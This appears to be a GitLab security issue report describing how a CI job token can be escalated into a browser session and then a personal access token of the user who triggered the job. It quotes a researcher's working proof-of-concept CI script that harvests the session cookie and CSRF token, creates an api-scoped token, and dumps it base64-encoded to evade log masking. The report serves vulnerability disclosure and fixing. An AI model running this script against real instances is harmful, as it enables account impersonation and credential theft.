Bypass of #471954

Problem

As described in An attacker can impersonate arbitrary user (#490916 - closed) a CI_JOB_TOKEN can be exchanged to get a _gitlab_session and then a PAT belonging to the user that CI_JOB_TOKEN is tied to. This is a bypass to an earlier fix - https://gitlab.com/gitlab-org/gitlab/-/issues/471954+.

Comments from the researcher on the bypass, taken from the original report:

In the other hand, Gitlab recently strip out set-cookie header from dependency_proxy auth response. As this patch ignores the case //v2 which still allows to escalate from CI_JOB_TOKEN to HTTP session.

test:  
  image: ubuntu:20.04  
  variables:  
    GIT_STRATEGY: none  
  script:  
    - echo hello from $GITLAB_USER_LOGIN  
    - apt update && apt install -y curl jq coreutils  
    # obtain JWT token  
    - 'export TOKEN=$(curl -u gitlab-ci-token:$CI_JOB_TOKEN "$CI_SERVER_URL/jwt/auth?service=dependency_proxy" | jq --raw-output .token )'  
    # obtain _gitlab_session and store it in /tmp/cookie.txt  
    - 'curl -c /tmp/cookie.txt -H "Authorization: Bearer $TOKEN" $CI_SERVER_URL//v2'  
    # obtain CSRF token to perform a POST request  
    - 'export CSRF=$(curl -b /tmp/cookie.txt  $CI_SERVER_URL/-/user_settings/personal_access_tokens | grep csrf-token | cut -d \" -f 4)'  
    # create a personal token with api scop  
    - 'curl -b /tmp/cookie.txt -kv -H "X-Csrf-Token: $CSRF" -d "personal_access_token[name]=x&personal_access_token[expires_at]=2024-12-31&personal_access_token[scopes][]=api" $CI_SERVER_URL/-/user_settings/personal_access_tokens | tee /tmp/token.json'  
    # as token is masked in job trace, but can obtain via other format, such as, base64  
    - base64 /tmp/token.json  
  rules:  
    - if: $GITLAB_USER_LOGIN != "attacker" # please replace your attacker username here  

Fix proposal:

I see that, Gitlab already used skip_around_action :set_session_storage to exclude set-session header in any HTTP requests related to git. I think that, the same principle can be applied to the dependency proxy requests.

I think this is Medium severity issue hence the severity3 priority3 labels.

/cc @dmeshcharakou @trizzi @crystalpoole @10io @greg @ameyadarshan